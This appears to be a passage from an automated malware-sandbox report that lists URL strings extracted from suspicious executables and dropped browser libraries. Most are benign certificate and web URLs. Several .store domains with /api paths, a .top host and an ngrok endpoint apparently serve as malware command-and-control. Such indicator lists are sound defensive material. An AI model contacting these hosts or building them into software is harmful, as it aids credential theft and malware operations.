Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: e41fd24755.exe, 0000000E.00000003.2869648621.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: e41fd24755.exe, 00000014.00000002.2932521313.0000000000E14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micros
Source: e41fd24755.exe, 0000000E.00000003.2665286058.00000000057FE000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2811419605.0000000005297000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: e41fd24755.exe, 0000000E.00000003.2665286058.00000000057FE000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2811419605.0000000005297000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: e41fd24755.exe, 0000000E.00000003.2665286058.00000000057FE000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2811419605.0000000005297000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: e41fd24755.exe, 0000000E.00000003.2665286058.00000000057FE000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2811419605.0000000005297000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: e41fd24755.exe, 0000000E.00000003.2665286058.00000000057FE000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2811419605.0000000005297000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 923e9bc10d.exe, 0000000C.00000003.2481697890.000000000711B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvteja5sb.top/OuonWYxAVjorkgXdRtho17
Source: 923e9bc10d.exe, 0000000C.00000003.2916039674.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvteja5sb.top/OuonWYxAVjorkgXdRtho1731126585
Source: 923e9bc10d.exe, 0000000C.00000003.2481697890.000000000711B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: e41fd24755.exe, 0000000E.00000003.2665286058.00000000057FE000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2811419605.0000000005297000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: e41fd24755.exe, 0000000E.00000003.2665286058.00000000057FE000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2811419605.0000000005297000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_84.3.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2072443215.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2056660772.000000001D3C9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2071961215.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: e41fd24755.exe, 0000000E.00000003.2665286058.00000000057FE000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2811419605.0000000005297000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: e41fd24755.exe, 0000000E.00000003.2665286058.00000000057FE000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2811419605.0000000005297000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: e41fd24755.exe, 0000000E.00000003.2634124119.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634255300.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777760512.000000000529F000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777968861.0000000005288000.00000004.00000800.00020000.00000000.sdmp, JKEGIDGD.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_86.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_86.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: 923e9bc10d.exe, 0000000C.00000003.2481697890.000000000711B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: 923e9bc10d.exe, 0000000C.00000003.2481697890.000000000711B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: chromecache_84.3.dr, chromecache_86.3.dr	String found in binary or memory: https://apis.google.com
Source: file.exe, 00000000.00000002.2067174979.00000000233F3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2814020267.000000000096D000.00000004.00000020.00020000.00000000.sdmp, HCAEHDHDAKJEBGCBKKJE.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2067174979.00000000233F3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2814020267.000000000096D000.00000004.00000020.00020000.00000000.sdmp, HCAEHDHDAKJEBGCBKKJE.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: e41fd24755.exe, 0000000E.00000003.2634124119.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634255300.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777760512.000000000529F000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777968861.0000000005288000.00000004.00000800.00020000.00000000.sdmp, JKEGIDGD.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634124119.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634255300.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777760512.000000000529F000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777968861.0000000005288000.00000004.00000800.00020000.00000000.sdmp, JKEGIDGD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634124119.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634255300.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777760512.000000000529F000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777968861.0000000005288000.00000004.00000800.00020000.00000000.sdmp, JKEGIDGD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_86.3.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_86.3.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2067174979.00000000233F3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2814020267.000000000096D000.00000004.00000020.00020000.00000000.sdmp, HCAEHDHDAKJEBGCBKKJE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2067174979.00000000233F3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2814020267.000000000096D000.00000004.00000020.00020000.00000000.sdmp, HCAEHDHDAKJEBGCBKKJE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: e41fd24755.exe, 00000014.00000002.2932521313.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/apim
Source: 923e9bc10d.exe, 0000000C.00000003.2481697890.000000000711B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 923e9bc10d.exe, 0000000C.00000003.2481697890.000000000711B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 923e9bc10d.exe, 0000000C.00000003.2481697890.000000000711B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: chromecache_86.3.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634124119.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634255300.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777760512.000000000529F000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777968861.0000000005288000.00000004.00000800.00020000.00000000.sdmp, JKEGIDGD.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: e41fd24755.exe, 0000000E.00000003.2634124119.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634255300.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777760512.000000000529F000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777968861.0000000005288000.00000004.00000800.00020000.00000000.sdmp, JKEGIDGD.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634124119.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634255300.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777760512.000000000529F000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777968861.0000000005288000.00000004.00000800.00020000.00000000.sdmp, JKEGIDGD.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_84.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_84.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_84.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_84.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: e41fd24755.exe, 00000014.00000002.2932521313.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store:443/api
Source: HCAEHDHDAKJEBGCBKKJE.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: e41fd24755.exe, 0000000E.00000003.2721578056.0000000000E89000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2633659651.0000000000E89000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2869648621.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2647213490.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2721699653.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2932440108.0000000000E15000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2933969075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2647481918.0000000000E89000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2869840075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2721611399.0000000000EA7000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634220328.0000000000E89000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2681172541.0000000000E89000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2932440108.0000000000DBE000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000002.2931842781.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000002.2933805219.0000000000944000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000002.2931842781.0000000000877000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2871749108.0000000000941000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2810878088.0000000000941000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2792881195.0000000000944000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2792252572.0000000000942000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2911806332.0000000000944000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/
Source: e41fd24755.exe, 00000010.00000003.2810878088.0000000000941000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/)
Source: e41fd24755.exe, 0000000E.00000003.2869616730.0000000000EA8000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2869485239.0000000000EA7000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2934110020.0000000000EAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/-
Source: e41fd24755.exe, 00000010.00000003.2837150546.0000000000942000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2810878088.0000000000941000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/A
Source: e41fd24755.exe, 0000000E.00000003.2721578056.0000000000E89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/O
Source: e41fd24755.exe, 00000010.00000003.2810878088.0000000000941000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/Y
Source: e41fd24755.exe, 00000010.00000003.2777872776.0000000000944000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2771398347.0000000000941000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777649984.0000000000944000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/a
Source: e41fd24755.exe, 00000010.00000003.2911695702.0000000000965000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2903824291.0000000000947000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2904090566.0000000000965000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000002.2931842781.00000000008BC000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777872776.0000000000944000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2810878088.0000000000941000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2771398347.0000000000941000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777649984.0000000000944000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2854263545.000000000094F000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2877076197.000000000094F000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000014.00000002.2932521313.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/api
Source: e41fd24755.exe, 00000010.00000003.2852306554.0000000000949000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2911247107.0000000000947000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2837150546.0000000000942000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000002.2933972241.000000000094F000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2903824291.0000000000947000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2810878088.0000000000941000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2854263545.000000000094F000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2877076197.000000000094F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/api0
Source: e41fd24755.exe, 0000000E.00000003.2869648621.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2933969075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2869840075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/apiC#l
Source: e41fd24755.exe, 0000000E.00000003.2647213490.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/apiG$h
Source: e41fd24755.exe, 00000010.00000003.2792252572.0000000000942000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/apiR
Source: e41fd24755.exe, 0000000E.00000002.2932440108.0000000000DBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/apik
Source: e41fd24755.exe, 00000014.00000002.2932521313.0000000000E14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/apiq
Source: e41fd24755.exe, 0000000E.00000003.2680862463.0000000000E9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/apis
Source: e41fd24755.exe, 0000000E.00000003.2869648621.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2933969075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2869840075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/apiv#Y
Source: e41fd24755.exe, 00000010.00000002.2933805219.0000000000944000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2911806332.0000000000944000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/i
Source: e41fd24755.exe, 0000000E.00000003.2647213490.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/kk
Source: e41fd24755.exe, 00000010.00000003.2837150546.0000000000942000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/q
Source: e41fd24755.exe, 00000010.00000003.2810878088.0000000000941000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/y
Source: e41fd24755.exe, 00000010.00000002.2931842781.00000000008B4000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000014.00000002.2932521313.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store:443/api
Source: e41fd24755.exe, 00000010.00000002.2931842781.00000000008B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store:443/api=
Source: e41fd24755.exe, 00000010.00000002.2931842781.00000000008B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store:443/apiK
Source: chromecache_84.3.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_86.3.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_86.3.dr	String found in binary or memory: https://plus.googleapis.com
Source: e41fd24755.exe, 00000010.00000002.2931842781.00000000008B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presticitpo.store:443/api5
Source: e41fd24755.exe, 00000014.00000002.2932521313.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presticitpo.store:443/apiL
Source: e41fd24755.exe, 0000000E.00000003.2633784326.000000000582E000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2774824232.00000000052CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: e41fd24755.exe, 00000010.00000003.2813133216.0000000005392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: e41fd24755.exe, 00000010.00000003.2813133216.0000000005392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1955392886.0000000023638000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000002.2038805274.0000000000437000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1853070758.000000001D2CE000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2633784326.000000000582C000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777455854.00000000052C5000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2774824232.00000000052CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.2038805274.0000000000437000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: e41fd24755.exe, 00000010.00000003.2777455854.00000000052A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000002.2038805274.0000000000437000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016TOqEAUpK
Source: file.exe, 00000000.00000002.2038805274.0000000000437000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1853070758.000000001D2CE000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2633784326.000000000582C000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777455854.00000000052C5000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2774824232.00000000052CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: e41fd24755.exe, 00000010.00000003.2777455854.00000000052A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: file.exe, 00000000.00000002.2038805274.0000000000437000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: e41fd24755.exe, 00000014.00000002.2932521313.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://thumbystriw.store/
Source: e41fd24755.exe, 00000014.00000002.2932521313.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://thumbystriw.store:443/api
Source: chromecache_86.3.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2067174979.00000000233F3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2814020267.000000000096D000.00000004.00000020.00020000.00000000.sdmp, HCAEHDHDAKJEBGCBKKJE.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
